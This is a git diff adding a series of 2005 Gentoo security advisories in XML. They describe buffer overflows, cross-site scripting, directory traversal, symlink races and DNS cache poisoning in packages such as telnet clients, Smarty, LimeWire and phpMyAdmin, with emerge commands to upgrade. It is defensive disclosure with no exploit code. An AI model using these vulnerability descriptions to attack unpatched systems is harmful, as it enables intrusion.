+  <metadata tag="submitter" timestamp="Thu, 24 Mar 2005 12:50:11 +0000">
+    taviso
+  </metadata>
+  <metadata tag="bugReady" timestamp="Sun, 27 Mar 2005 10:18:10 +0000">
+    jaervosz
+  </metadata>
+</glsa>
diff --git a/xml/htdocs/security/en/glsa/glsa-200503-35.xml b/xml/htdocs/security/en/glsa/glsa-200503-35.xml
new file mode 100644
index 00000000..7979683f
--- /dev/null
+++ b/xml/htdocs/security/en/glsa/glsa-200503-35.xml
@@ -0,0 +1,70 @@
+<?xml version="1.0" encoding="utf-8"?>
+<?xml-stylesheet href="/xsl/glsa.xsl" type="text/xsl"?>
+<?xml-stylesheet href="/xsl/guide.xsl" type="text/xsl"?>
+<!DOCTYPE glsa SYSTEM "http://www.gentoo.org/dtd/glsa.dtd">
+
+<glsa id="200503-35">
+  <title>Smarty: Template vulnerability</title>
+  <synopsis>
+    Smarty's "Template security" feature can be bypassed, potentially allowing
+    a remote attacker to execute arbitrary PHP code.
+  </synopsis>
+  <product type="ebuild">smarty</product>
+  <announced>March 30, 2005</announced>
+  <revised>May 22, 2006: 03</revised>
+  <bug>86488</bug>
+  <access>remote</access>
+  <affected>
+    <package name="dev-php/smarty" auto="yes" arch="*">
+      <unaffected range="ge">2.6.9</unaffected>
+      <vulnerable range="lt">2.6.9</vulnerable>
+    </package>
+  </affected>
+  <background>
+    <p>
+    Smarty is a template engine for PHP. The "template security" feature of
+    Smarty is designed to help reduce the risk of a system compromise when
+    you have untrusted parties editing templates.
+    </p>
+  </background>
+  <description>
+    <p>
+    A vulnerability has been discovered within the regex_replace modifier
+    of the Smarty templates when allowing access to untrusted users.
+    Furthermore, it was possible to call functions from {if} statements and
+    {math} functions.
+    </p>
+  </description>
+  <impact type="high">
+    <p>
+    These issues may allow a remote attacker to bypass the "template
+    security" feature of Smarty, and execute arbitrary PHP code.
+    </p>
+  </impact>
+  <workaround>
+    <p>
+    Do not grant template access to untrusted users.
+    </p>
+  </workaround>
+  <resolution>
+    <p>
+    All Smarty users should upgrade to the latest version:
+    </p>
+    <code>
+    # emerge --sync
+    # emerge --ask --oneshot --verbose &quot;&gt;=dev-php/smarty-2.6.9&quot;</code>
+  </resolution>
+  <references>
+    <uri link="http://smarty.php.net/misc/NEWS">Smarty ChangeLog</uri>
+    <uri link="http://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2005-0913">CVE-2005-0913</uri>
+  </references>
+  <metadata tag="requester" timestamp="Thu, 24 Mar 2005 17:18:18 +0000">
+    koon
+  </metadata>
+  <metadata tag="bugReady" timestamp="Mon, 28 Mar 2005 13:11:35 +0000">
+    koon
+  </metadata>
+  <metadata tag="submitter" timestamp="Mon, 28 Mar 2005 13:23:33 +0000">
+    lewk
+  </metadata>
+</glsa>
diff --git a/xml/htdocs/security/en/glsa/glsa-200503-36.xml b/xml/htdocs/security/en/glsa/glsa-200503-36.xml
new file mode 100644
index 00000000..aa843928
--- /dev/null
+++ b/xml/htdocs/security/en/glsa/glsa-200503-36.xml
@@ -0,0 +1,68 @@
+<?xml version="1.0" encoding="utf-8"?>
+<?xml-stylesheet href="/xsl/glsa.xsl" type="text/xsl"?>
+<?xml-stylesheet href="/xsl/guide.xsl" type="text/xsl"?>
+<!DOCTYPE glsa SYSTEM "http://www.gentoo.org/dtd/glsa.dtd">
+
+<glsa id="200503-36">
+  <title>netkit-telnetd: Buffer overflow</title>
+  <synopsis>
+    The netkit-telnetd telnet client is vulnerable to a buffer overflow, which
+    could allow a malicious telnet server operator to execute arbitrary code.
+  </synopsis>
+  <product type="ebuild">netkit-telnetd</product>
+  <announced>March 31, 2005</announced>
+  <revised>March 31, 2005: 01</revised>
+  <bug>87211</bug>
+  <access>remote</access>
+  <affected>
+    <package name="net-misc/netkit-telnetd" auto="yes" arch="*">
+      <unaffected range="ge">0.17-r6</unaffected>
+      <vulnerable range="lt">0.17-r6</vulnerable>
+    </package>
+  </affected>
+  <background>
+    <p>
+    netkit-telnetd provides standard Linux telnet client and server.
+    </p>
+  </background>
+  <description>
+    <p>
+    A buffer overflow has been identified in the slc_add_reply()
+    function of netkit-telnetd client, where a large number of SLC commands
+    can overflow a fixed size buffer.
+    </p>
+  </description>
+  <impact type="normal">
+    <p>
+    Successful explotation would require a vulnerable user to connect
+    to an attacker-controlled host using telnet, potentially executing
+    arbitrary code with the permissions of the telnet user.
+    </p>
+  </impact>
+  <workaround>
+    <p>
+    There is no known workaround at this time.
+    </p>
+  </workaround>
+  <resolution>
+    <p>
+    All netkit-telnetd users should upgrade to the latest version:
+    </p>
+    <code>
+    # emerge --sync
+    # emerge --ask --oneshot --verbose &quot;&gt;=net-misc/netkit-telnetd-0.17-r6&quot;</code>
+  </resolution>
+  <references>
+    <uri link="http://cve.mitre.org/cgi-bin/cvename.cgi?name=CAN-2005-0469">CAN-2005-0469</uri>
+    <uri link="http://www.idefense.com/application/poi/display?id=220&amp;type=vulnerabilities">iDEFENSE Advisory 03-28-05</uri>
+  </references>
+  <metadata tag="requester" timestamp="Wed, 30 Mar 2005 08:13:45 +0000">
+    koon
+  </metadata>
+  <metadata tag="submitter" timestamp="Wed, 30 Mar 2005 13:44:36 +0000">
+    formula7
+  </metadata>
+  <metadata tag="bugReady" timestamp="Wed, 30 Mar 2005 19:43:01 +0000">
+    koon
+  </metadata>
+</glsa>
diff --git a/xml/htdocs/security/en/glsa/glsa-200503-37.xml b/xml/htdocs/security/en/glsa/glsa-200503-37.xml
new file mode 100644
index 00000000..e90b5bde
--- /dev/null
+++ b/xml/htdocs/security/en/glsa/glsa-200503-37.xml
@@ -0,0 +1,69 @@
+<?xml version="1.0" encoding="utf-8"?>
+<?xml-stylesheet href="/xsl/glsa.xsl" type="text/xsl"?>
+<?xml-stylesheet href="/xsl/guide.xsl" type="text/xsl"?>
+<!DOCTYPE glsa SYSTEM "http://www.gentoo.org/dtd/glsa.dtd">
+
+<glsa id="200503-37">
+  <title>LimeWire: Disclosure of sensitive information</title>
+  <synopsis>
+    Two vulnerabilities in LimeWire can be exploited to disclose sensitive
+    information.
+  </synopsis>
+  <product type="ebuild">LimeWire</product>
+  <announced>March 31, 2005</announced>
+  <revised>March 31, 2005: 01</revised>
+  <bug>85380</bug>
+  <access>remote</access>
+  <affected>
+    <package name="net-p2p/limewire" auto="yes" arch="*">
+      <unaffected range="ge">4.8.1</unaffected>
+      <vulnerable range="lt">4.8.1</vulnerable>
+    </package>
+  </affected>
+  <background>
+    <p>
+    LimeWire is a Java peer-to-peer client compatible with the
+    Gnutella file-sharing protocol.
+    </p>
+  </background>
+  <description>
+    <p>
+    Two input validation errors were found in the handling of Gnutella
+    GET requests (CAN-2005-0788) and magnet requests (CAN-2005-0789).
+    </p>
+  </description>
+  <impact type="low">
+    <p>
+    A remote attacker can craft a specific Gnutella GET request or use
+    directory traversal on magnet requests to read arbitrary files on the
+    system with the rights of the user running LimeWire.
+    </p>
+  </impact>
+  <workaround>
+    <p>
+    There is no known workaround at this time.
+    </p>
+  </workaround>
+  <resolution>
+    <p>
+    All LimeWire users should upgrade to the latest version:
+    </p>
+    <code>
+    # emerge --sync
+    # emerge --ask --oneshot --verbose &quot;&gt;=net-p2p/limewire-4.8.1&quot;</code>
+  </resolution>
+  <references>
+    <uri link="http://cve.mitre.org/cgi-bin/cvename.cgi?name=CAN-2005-0788">CAN-2005-0788</uri>
+    <uri link="http://cve.mitre.org/cgi-bin/cvename.cgi?name=CAN-2005-0789">CAN-2005-0789</uri>
+    <uri link="http://secunia.com/advisories/14555/">Secunia Advisory SA14555</uri>
+  </references>
+  <metadata tag="requester" timestamp="Wed, 30 Mar 2005 14:57:35 +0000">
+    koon
+  </metadata>
+  <metadata tag="bugReady" timestamp="Wed, 30 Mar 2005 14:58:13 +0000">
+    koon
+  </metadata>
+  <metadata tag="submitter" timestamp="Wed, 30 Mar 2005 16:12:57 +0000">
+    formula7
+  </metadata>
+</glsa>
diff --git a/xml/htdocs/security/en/glsa/glsa-200504-01.xml b/xml/htdocs/security/en/glsa/glsa-200504-01.xml
new file mode 100644
index 00000000..965f3802
--- /dev/null
+++ b/xml/htdocs/security/en/glsa/glsa-200504-01.xml
@@ -0,0 +1,73 @@
+<?xml version="1.0" encoding="utf-8"?>
+<?xml-stylesheet href="/xsl/glsa.xsl" type="text/xsl"?>
+<?xml-stylesheet href="/xsl/guide.xsl" type="text/xsl"?>
+<!DOCTYPE glsa SYSTEM "http://www.gentoo.org/dtd/glsa.dtd">
+
+<glsa id="200504-01">
+  <title>telnet-bsd: Multiple buffer overflows</title>
+  <synopsis>
+    The telnet-bsd telnet client is vulnerable to two buffer overflows, which
+    could allow a malicious telnet server operator to execute arbitrary code.
+  </synopsis>
+  <product type="ebuild">telnet</product>
+  <announced>April 01, 2005</announced>
+  <revised>April 01, 2005: 01</revised>
+  <bug>87019</bug>
+  <access>remote</access>
+  <affected>
+    <package name="net-misc/telnet-bsd" auto="yes" arch="*">
+      <unaffected range="ge">1.0-r1</unaffected>
+      <vulnerable range="lt">1.0-r1</vulnerable>
+    </package>
+  </affected>
+  <background>
+    <p>
+    telnet-bsd provides a command line telnet client which is used for
+    remote login using the telnet protocol.
+    </p>
+  </background>
+  <description>
+    <p>
+    A buffer overflow has been identified in the env_opt_add()
+    function of telnet-bsd, where a response requiring excessive escaping
+    can cause a heap-based buffer overflow. Another issue has been
+    identified in the slc_add_reply() function, where a large number of SLC
+    commands can overflow a fixed size buffer.
+    </p>
+  </description>
+  <impact type="normal">
+    <p>
+    Successful exploitation would require a vulnerable user to connect
+    to an attacker-controlled host using telnet, potentially executing
+    arbitrary code with the permissions of the telnet user.
+    </p>
+  </impact>
+  <workaround>
+    <p>
+    There is no known workaround at this time.
+    </p>
+  </workaround>
+  <resolution>
+    <p>
+    All telnet-bsd users should upgrade to the latest version:
+    </p>
+    <code>
+    # emerge --sync
+    # emerge --ask --oneshot --verbose &quot;&gt;=net-misc/telnet-bsd-1.0-r1&quot;</code>
+  </resolution>
+  <references>
+    <uri link="http://cve.mitre.org/cgi-bin/cvename.cgi?name=CAN-2005-0468">CAN-2005-0468</uri>
+    <uri link="http://www.idefense.com/application/poi/display?id=221&amp;type=vulnerabilities">IDEF0867</uri>
+    <uri link="http://cve.mitre.org/cgi-bin/cvename.cgi?name=CAN-2005-0469">CAN-2005-0469</uri>
+    <uri link="http://www.idefense.com/application/poi/display?id=220&amp;type=vulnerabilities">IDEF0866</uri>
+  </references>
+  <metadata tag="requester" timestamp="Tue, 29 Mar 2005 16:15:13 +0000">
+    koon
+  </metadata>
+  <metadata tag="submitter" timestamp="Tue, 29 Mar 2005 17:09:56 +0000">
+    taviso
+  </metadata>
+  <metadata tag="bugReady" timestamp="Thu, 31 Mar 2005 06:01:07 +0000">
+    jaervosz
+  </metadata>
+</glsa>
diff --git a/xml/htdocs/security/en/glsa/glsa-200504-02.xml b/xml/htdocs/security/en/glsa/glsa-200504-02.xml
new file mode 100644
index 00000000..3064cc7e
--- /dev/null
+++ b/xml/htdocs/security/en/glsa/glsa-200504-02.xml
@@ -0,0 +1,75 @@
+<?xml version="1.0" encoding="utf-8"?>
+<?xml-stylesheet href="/xsl/glsa.xsl" type="text/xsl"?>
+<?xml-stylesheet href="/xsl/guide.xsl" type="text/xsl"?>
+<!DOCTYPE glsa SYSTEM "http://www.gentoo.org/dtd/glsa.dtd">
+
+<glsa id="200504-02">
+  <title>Sylpheed, Sylpheed-claws: Buffer overflow on message display</title>
+  <synopsis>
+    Sylpheed and Sylpheed-claws contain a vulnerability that can be triggered
+    when displaying messages with specially crafted attachments.
+  </synopsis>
+  <product type="ebuild">sylpheed</product>
+  <announced>April 02, 2005</announced>
+  <revised>April 02, 2005: 01</revised>
+  <bug>86541</bug>
+  <access>remote</access>
+  <affected>
+    <package name="mail-client/sylpheed" auto="yes" arch="*">
+      <unaffected range="ge">1.0.4</unaffected>
+      <vulnerable range="lt">1.0.4</vulnerable>
+    </package>
+    <package name="mail-client/sylpheed-claws" auto="yes" arch="*">
+      <unaffected range="ge">1.0.4</unaffected>
+      <vulnerable range="lt">1.0.4</vulnerable>
+    </package>
+  </affected>
+  <background>
+    <p>
+    Sylpheed is a lightweight email client and newsreader.
+    Sylpheed-claws is a 'bleeding edge' version of Sylpheed.
+    </p>
+  </background>
+  <description>
+    <p>
+    Sylpheed and Sylpheed-claws fail to properly handle messages
+    containing attachments with MIME-encoded filenames.
+    </p>
+  </description>
+  <impact type="normal">
+    <p>
+    An attacker can send a malicious email message which, when
+    displayed, would cause the program to crash, potentially allowing the
+    execution of arbitrary code with the privileges of the user running the
+    software.
+    </p>
+  </impact>
+  <workaround>
+    <p>
+    There is no known workaround at this time.
+    </p>
+  </workaround>
+  <resolution>
+    <p>
+    All Sylpheed users should upgrade to the latest version:
+    </p>
+    <code>
+    # emerge --sync
+    # emerge --ask --oneshot --verbose &quot;&gt;=mail-client/sylpheed-1.0.4&quot;</code>
+    <p>
+    All Sylpheed-claws users should upgrade to the latest version:
+    </p>
+    <code>
+    # emerge --sync
+    # emerge --ask --oneshot --verbose &quot;&gt;=mail-client/sylpheed-claws-1.0.4&quot;</code>
+  </resolution>
+  <references>
+    <uri link="http://sylpheed.good-day.net/#changes">Sylpheed ChangeLog</uri>
+  </references>
+  <metadata tag="submitter" timestamp="Thu, 31 Mar 2005 08:06:56 +0000">
+    koon
+  </metadata>
+  <metadata tag="bugReady" timestamp="Thu, 31 Mar 2005 08:07:15 +0000">
+    koon
+  </metadata>
+</glsa>
diff --git a/xml/htdocs/security/en/glsa/glsa-200504-03.xml b/xml/htdocs/security/en/glsa/glsa-200504-03.xml
new file mode 100644
index 00000000..124868bc
--- /dev/null
+++ b/xml/htdocs/security/en/glsa/glsa-200504-03.xml
@@ -0,0 +1,71 @@
+<?xml version="1.0" encoding="utf-8"?>
+<?xml-stylesheet href="/xsl/glsa.xsl" type="text/xsl"?>
+<?xml-stylesheet href="/xsl/guide.xsl" type="text/xsl"?>
+<!DOCTYPE glsa SYSTEM "http://www.gentoo.org/dtd/glsa.dtd">
+
+<glsa id="200504-03">
+  <title>Dnsmasq: Poisoning and Denial of Service vulnerabilities</title>
+  <synopsis>
+    Dnsmasq is vulnerable to DNS cache poisoning attacks and a potential Denial
+    of Service from the local network.
+  </synopsis>
+  <product type="ebuild">Dnsmasq</product>
+  <announced>April 04, 2005</announced>
+  <revised>April 04, 2005: 01</revised>
+  <bug>86718</bug>
+  <access>remote</access>
+  <affected>
+    <package name="net-dns/dnsmasq" auto="yes" arch="*">
+      <unaffected range="ge">2.22</unaffected>
+      <vulnerable range="lt">2.22</vulnerable>
+    </package>
+  </affected>
+  <background>
+    <p>
+    Dnsmasq is a lightweight and easily-configurable DNS forwarder and
+    DHCP server.
+    </p>
+  </background>
+  <description>
+    <p>
+    Dnsmasq does not properly detect that DNS replies received do not
+    correspond to any DNS query that was sent. Rob Holland of the Gentoo
+    Linux Security Audit team also discovered two off-by-one buffer
+    overflows that could crash DHCP lease files parsing.
+    </p>
+  </description>
+  <impact type="low">
+    <p>
+    A remote attacker could send malicious answers to insert arbitrary
+    DNS data into the Dnsmasq cache. These attacks would in turn help an
+    attacker to perform man-in-the-middle and site impersonation attacks.
+    The buffer overflows might allow an attacker on the local network to
+    crash Dnsmasq upon restart.
+    </p>
+  </impact>
+  <workaround>
+    <p>
+    There is no known workaround at this time.
+    </p>
+  </workaround>
+  <resolution>
+    <p>
+    All Dnsmasq users should upgrade to the latest version:
+    </p>
+    <code>
+    # emerge --sync
+    # emerge --ask --oneshot --verbose &quot;&gt;=net-dns/dnsmasq-2.22&quot;</code>
+  </resolution>
+  <references>
+    <uri link="http://www.thekelleys.org.uk/dnsmasq/CHANGELOG">Dnsmasq Changelog</uri>
+  </references>
+  <metadata tag="requester" timestamp="Mon, 28 Mar 2005 07:00:46 +0000">
+    jaervosz
+  </metadata>
+  <metadata tag="submitter" timestamp="Mon, 28 Mar 2005 13:54:22 +0000">
+    koon
+  </metadata>
+  <metadata tag="bugReady" timestamp="Mon,  4 Apr 2005 11:10:45 +0000">
+    koon
+  </metadata>
+</glsa>
diff --git a/xml/htdocs/security/en/glsa/glsa-200504-04.xml b/xml/htdocs/security/en/glsa/glsa-200504-04.xml
new file mode 100644
index 00000000..a9cf3065
--- /dev/null
+++ b/xml/htdocs/security/en/glsa/glsa-200504-04.xml
@@ -0,0 +1,69 @@
+<?xml version="1.0" encoding="utf-8"?>
+<?xml-stylesheet href="/xsl/glsa.xsl" type="text/xsl"?>
+<?xml-stylesheet href="/xsl/guide.xsl" type="text/xsl"?>
+<!DOCTYPE glsa SYSTEM "http://www.gentoo.org/dtd/glsa.dtd">
+
+<glsa id="200504-04">
+  <title>mit-krb5: Multiple buffer overflows in telnet client</title>
+  <synopsis>
+    The mit-krb5 telnet client is vulnerable to two buffer overflows, which
+    could allow a malicious telnet server operator to execute arbitrary code.
+  </synopsis>
+  <product type="ebuild">telnet</product>
+  <announced>April 06, 2005</announced>
+  <revised>April 06, 2005: 01</revised>
+  <bug>87145</bug>
+  <access>remote</access>
+  <affected>
+    <package name="app-crypt/mit-krb5" auto="yes" arch="*">
+      <unaffected range="ge">1.3.6-r2</unaffected>
+      <vulnerable range="lt">1.3.6-r2</vulnerable>
+    </package>
+  </affected>
+  <background>
+    <p>
+    The MIT Kerberos 5 implementation provides a command line telnet
+    client which is used for remote login via the telnet protocol.
+    </p>
+  </background>
+  <description>
+    <p>
+    A buffer overflow has been identified in the env_opt_add()
+    function, where a response requiring excessive escaping can cause a
+    heap-based buffer overflow. Another issue has been identified in the
+    slc_add_reply() function, where a large number of SLC commands can
+    overflow a fixed size buffer.
+    </p>
+  </description>
+  <impact type="normal">
+    <p>
+    Successful exploitation would require a vulnerable user to connect
+    to an attacker-controlled telnet host, potentially executing arbitrary
+    code with the permissions of the telnet user on the client.
+    </p>
+  </impact>
+  <workaround>
+    <p>
+    There is no known workaround at this time.
+    </p>
+  </workaround>
+  <resolution>
+    <p>
+    All mit-krb5 users should upgrade to the latest version:
+    </p>
+    <code>
+    # emerge --sync
+    # emerge --ask --oneshot --verbose &quot;&gt;=app-crypt/mit-krb5-1.3.6-r2&quot;</code>
+  </resolution>
+  <references>
+    <uri link="http://cve.mitre.org/cgi-bin/cvename.cgi?name=CAN-2005-0468">CAN-2005-0468</uri>
+    <uri link="http://cve.mitre.org/cgi-bin/cvename.cgi?name=CAN-2005-0469">CAN-2005-0469</uri>
+    <uri link="http://web.mit.edu/kerberos/www/advisories/MITKRB5-SA-2005-001-telnet.txt">MITKRB5-SA-2005-001</uri>
+  </references>
+  <metadata tag="submitter" timestamp="Fri,  1 Apr 2005 09:42:26 +0000">
+    koon
+  </metadata>
+  <metadata tag="bugReady" timestamp="Wed,  6 Apr 2005 09:05:02 +0000">
+    koon
+  </metadata>
+</glsa>
diff --git a/xml/htdocs/security/en/glsa/glsa-200504-05.xml b/xml/htdocs/security/en/glsa/glsa-200504-05.xml
new file mode 100644
index 00000000..77b2cd07
--- /dev/null
+++ b/xml/htdocs/security/en/glsa/glsa-200504-05.xml
@@ -0,0 +1,76 @@
+<?xml version="1.0" encoding="utf-8"?>
+<?xml-stylesheet href="/xsl/glsa.xsl" type="text/xsl"?>
+<?xml-stylesheet href="/xsl/guide.xsl" type="text/xsl"?>
+<!DOCTYPE glsa SYSTEM "http://www.gentoo.org/dtd/glsa.dtd">
+
+<glsa id="200504-05">
+  <title>Gaim: Denial of Service issues</title>
+  <synopsis>
+    Gaim contains multiple vulnerabilities that can lead to a Denial of
+    Service.
+  </synopsis>
+  <product type="ebuild">Gaim</product>
+  <announced>April 06, 2005</announced>
+  <revised>April 06, 2005: 03</revised>
+  <bug>87903</bug>
+  <access>remote</access>
+  <affected>
+    <package name="net-im/gaim" auto="yes" arch="*">
+      <unaffected range="ge">1.2.1</unaffected>
+      <vulnerable range="lt">1.2.1</vulnerable>
+    </package>
+  </affected>
+  <background>
+    <p>
+    Gaim is a full featured instant messaging client which handles a
+    variety of instant messaging protocols.
+    </p>
+  </background>
+  <description>
+    <p>
+    Multiple vulnerabilities have been addressed in the latest release of
+    Gaim:
+    </p>
+    <ul><li>A buffer overread in the gaim_markup_strip_html() function,
+    which is used when logging conversations (CAN-2005-0965).</li>
+    <li>Markup tags are improperly escaped using Gaim's IRC plugin
+    (CAN-2005-0966).</li>
+    <li>Sending a specially crafted file transfer request to a Gaim Jabber
+    user can trigger a crash (CAN-2005-0967).</li>
+    </ul>
+  </description>
+  <impact type="low">
+    <p>
+    An attacker could possibly cause a Denial of Service by exploiting any
+    of these vulnerabilities.
+    </p>
+  </impact>
+  <workaround>
+    <p>
+    There is no known workaround at this time.
+    </p>
+  </workaround>
+  <resolution>
+    <p>
+    All Gaim users should upgrade to the latest version:
+    </p>
+    <code>
+    # emerge --sync
+    # emerge --ask --oneshot --verbose &quot;&gt;=net-im/gaim-1.2.1&quot;</code>
+  </resolution>
+  <references>
+    <uri link="http://cve.mitre.org/cgi-bin/cvename.cgi?name=CAN-2005-0967">CAN-2005-0967</uri>
+    <uri link="http://cve.mitre.org/cgi-bin/cvename.cgi?name=CAN-2005-0966">CAN-2005-0966</uri>
+    <uri link="http://cve.mitre.org/cgi-bin/cvename.cgi?name=CAN-2005-0965">CAN-2005-0965</uri>
+    <uri link="http://gaim.sourceforge.net/security/">Gaim Vulnerability Index</uri>
+  </references>
+  <metadata tag="requester" timestamp="Mon,  4 Apr 2005 16:07:52 +0000">
+    koon
+  </metadata>
+  <metadata tag="submitter" timestamp="Mon,  4 Apr 2005 16:59:15 +0000">
+    lewk
+  </metadata>
+  <metadata tag="bugReady" timestamp="Wed,  6 Apr 2005 11:01:53 +0000">
+    lewk
+  </metadata>
+</glsa>
diff --git a/xml/htdocs/security/en/glsa/glsa-200504-06.xml b/xml/htdocs/security/en/glsa/glsa-200504-06.xml
new file mode 100644
index 00000000..95b23ebe
--- /dev/null
+++ b/xml/htdocs/security/en/glsa/glsa-200504-06.xml
@@ -0,0 +1,69 @@
+<?xml version="1.0" encoding="utf-8"?>
+<?xml-stylesheet href="/xsl/glsa.xsl" type="text/xsl"?>
+<?xml-stylesheet href="/xsl/guide.xsl" type="text/xsl"?>
+<!DOCTYPE glsa SYSTEM "http://www.gentoo.org/dtd/glsa.dtd">
+
+<glsa id="200504-06">
+  <title>sharutils: Insecure temporary file creation</title>
+  <synopsis>
+    The unshar utility is vulnerable to symlink attacks, potentially allowing a
+    local user to overwrite arbitrary files.
+  </synopsis>
+  <product type="ebuild">sharutils</product>
+  <announced>April 06, 2005</announced>
+  <revised>April 06, 2005: 01</revised>
+  <bug>87939</bug>
+  <access>local</access>
+  <affected>
+    <package name="app-arch/sharutils" auto="yes" arch="*">
+      <unaffected range="ge">4.2.1-r11</unaffected>
+      <vulnerable range="lt">4.2.1-r11</vulnerable>
+    </package>
+  </affected>
+  <background>
+    <p>
+    sharutils is a collection of tools to deal with shar archives.
+    </p>
+  </background>
+  <description>
+    <p>
+    Joey Hess has discovered that the program unshar, which is a part
+    of sharutils, creates temporary files in a world-writable directory
+    with predictable names.
+    </p>
+  </description>
+  <impact type="normal">
+    <p>
+    A local attacker could create symbolic links in the temporary
+    files directory, pointing to a valid file somewhere on the filesystem.
+    When unshar is executed, this would result in the file being
+    overwritten with the rights of the user running the utility, which
+    could be the root user.
+    </p>
+  </impact>
+  <workaround>
+    <p>
+    There is no known workaround at this time.
+    </p>
+  </workaround>
+  <resolution>
+    <p>
+    All sharutils users should upgrade to the latest version:
+    </p>
+    <code>
+    # emerge --sync
+    # emerge --ask --oneshot --verbose &quot;&gt;=app-arch/sharutils-4.2.1-r11&quot;</code>
+  </resolution>
+  <references>
+    <uri link="http://www.ubuntulinux.org/support/documentation/usn/usn-104-1">Ubuntu Advisory</uri>
+  </references>
+  <metadata tag="requester" timestamp="Tue,  5 Apr 2005 07:42:03 +0000">
+    koon
+  </metadata>
+  <metadata tag="submitter" timestamp="Tue,  5 Apr 2005 13:07:06 +0000">
+    lewk
+  </metadata>
+  <metadata tag="bugReady" timestamp="Wed,  6 Apr 2005 20:15:09 +0000">
+    lewk
+  </metadata>
+</glsa>
diff --git a/xml/htdocs/security/en/glsa/glsa-200504-07.xml b/xml/htdocs/security/en/glsa/glsa-200504-07.xml
new file mode 100644
index 00000000..8c7b385b
--- /dev/null
+++ b/xml/htdocs/security/en/glsa/glsa-200504-07.xml
@@ -0,0 +1,80 @@
+<?xml version="1.0" encoding="utf-8"?>
+<?xml-stylesheet href="/xsl/glsa.xsl" type="text/xsl"?>
+<?xml-stylesheet href="/xsl/guide.xsl" type="text/xsl"?>
+<!DOCTYPE glsa SYSTEM "http://www.gentoo.org/dtd/glsa.dtd">
+
+<glsa id="200504-07">
+  <title>GnomeVFS, libcdaudio: CDDB response overflow</title>
+  <synopsis>
+    The GnomeVFS and libcdaudio libraries contain a buffer overflow that can be
+    triggered by a large CDDB response, potentially allowing the execution of
+    arbitrary code.
+  </synopsis>
+  <product type="ebuild">GnomeVFS</product>
+  <announced>April 08, 2005</announced>
+  <revised>April 13, 2005: 02</revised>
+  <bug>84936</bug>
+  <access>remote</access>
+  <affected>
+    <package name="gnome-base/gnome-vfs" auto="yes" arch="*">
+      <unaffected range="ge">2.8.4-r1</unaffected>
+      <unaffected range="rge">1.0.5-r4</unaffected>
+      <vulnerable range="lt">2.8.4-r1</vulnerable>
+    </package>
+    <package name="media-libs/libcdaudio" auto="yes" arch="*">
+      <unaffected range="ge">0.99.10-r1</unaffected>
+      <vulnerable range="lt">0.99.10-r1</vulnerable>
+    </package>
+  </affected>
+  <background>
+    <p>
+    GnomeVFS is a filesystem abstraction library for the GNOME desktop
+    environment. libcdaudio is a multi-platform CD player development
+    library. They both include code to query CDDB servers to get Audio CD
+    track titles.
+    </p>
+  </background>
+  <description>
+    <p>
+    Joseph VanAndel has discovered a buffer overflow in Grip when
+    processing large CDDB results (see GLSA 200503-21). The same overflow
+    is present in GnomeVFS and libcdaudio code.
+    </p>
+  </description>
+  <impact type="normal">
+    <p>
+    A malicious CDDB server could cause applications making use of GnomeVFS
+    or libcdaudio libraries to crash, potentially allowing the execution of
+    arbitrary code with the privileges of the user running the application.
+    </p>
+  </impact>
+  <workaround>
+    <p>
+    There is no known workaround at this time.
+    </p>
+  </workaround>
+  <resolution>
+    <p>
+    All GnomeVFS users should upgrade to the latest version:
+    </p>
+    <code>
+    # emerge --sync
+    # emerge --ask --oneshot --verbose gnome-base/gnome-vfs</code>
+    <p>
+    All libcdaudio users should upgrade to the latest version:
+    </p>
+    <code>
+    # emerge --sync
+    # emerge --ask --oneshot --verbose &quot;&gt;=media-libs/libcdaudio-0.99.10-r1&quot;</code>
+  </resolution>
+  <references>
+    <uri link="http://cve.mitre.org/cgi-bin/cvename.cgi?name=CAN-2005-0706">CAN-2005-0706</uri>
+    <uri link="http://www.gentoo.org/security/en/glsa/glsa-200503-21.xml">GLSA 200503-21</uri>
+  </references>
+  <metadata tag="submitter" timestamp="Tue,  5 Apr 2005 09:35:13 +0000">
+    koon
+  </metadata>
+  <metadata tag="bugReady" timestamp="Fri,  8 Apr 2005 11:17:13 +0000">
+    koon
+  </metadata>
+</glsa>
diff --git a/xml/htdocs/security/en/glsa/glsa-200504-08.xml b/xml/htdocs/security/en/glsa/glsa-200504-08.xml
new file mode 100644
index 00000000..cac48fc4
--- /dev/null
+++ b/xml/htdocs/security/en/glsa/glsa-200504-08.xml
@@ -0,0 +1,68 @@
+<?xml version="1.0" encoding="utf-8"?>
+<?xml-stylesheet href="/xsl/glsa.xsl" type="text/xsl"?>
+<?xml-stylesheet href="/xsl/guide.xsl" type="text/xsl"?>
+<!DOCTYPE glsa SYSTEM "http://www.gentoo.org/dtd/glsa.dtd">
+
+<glsa id="200504-08">
+  <title>phpMyAdmin: Cross-site scripting vulnerability</title>
+  <synopsis>
+    phpMyAdmin is vulnerable to a cross-site scripting attack.
+  </synopsis>
+  <product type="ebuild">phpMyAdmin</product>
+  <announced>April 11, 2005</announced>
+  <revised>May 22, 2006: 02</revised>
+  <bug>87952</bug>
+  <access>remote</access>
+  <affected>
+    <package name="dev-db/phpmyadmin" auto="yes" arch="*">
+      <unaffected range="ge">2.6.2_rc1</unaffected>
+      <vulnerable range="lt">2.6.2_rc1</vulnerable>
+    </package>
+  </affected>
+  <background>
+    <p>
+    phpMyAdmin is a tool written in PHP intended to handle the
+    administration of MySQL databases from a web-browser.
+    </p>
+  </background>
+  <description>
+    <p>
+    Oriol Torrent Santiago has discovered that phpMyAdmin fails to validate
+    input to the "convcharset" variable, rendering it vulnerable to
+    cross-site scripting attacks.
+    </p>
+  </description>
+  <impact type="low">
+    <p>
+    By sending a specially-crafted request, an attacker can inject and
+    execute malicious script code, potentially compromising the victim's
+    browser.
+    </p>
+  </impact>
+  <workaround>
+    <p>
+    There is no known workaround at this time.
+    </p>
+  </workaround>
+  <resolution>
+    <p>
+    All phpMyAdmin users should upgrade to the latest version:
+    </p>
+    <code>
+    # emerge --sync
+    # emerge --ask --oneshot --verbose &quot;&gt;=dev-db/phpmyadmin-2.6.2_rc1&quot;</code>
+  </resolution>
+  <references>
+    <uri link="http://www.phpmyadmin.net/home_page/security.php?issue=PMASA-2005-3">PMASA-2005-3</uri>
+    <uri link="http://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2005-0992">CVE-2005-0992</uri>
+  </references>
+  <metadata tag="requester" timestamp="Sun, 10 Apr 2005 23:16:29 +0000">
+    lewk
+  </metadata>
+  <metadata tag="submitter" timestamp="Mon, 11 Apr 2005 00:34:48 +0000">
+    lewk
+  </metadata>
+  <metadata tag="bugReady" timestamp="Mon, 11 Apr 2005 00:35:39 +0000">
+    lewk
+  </metadata>
+</glsa>
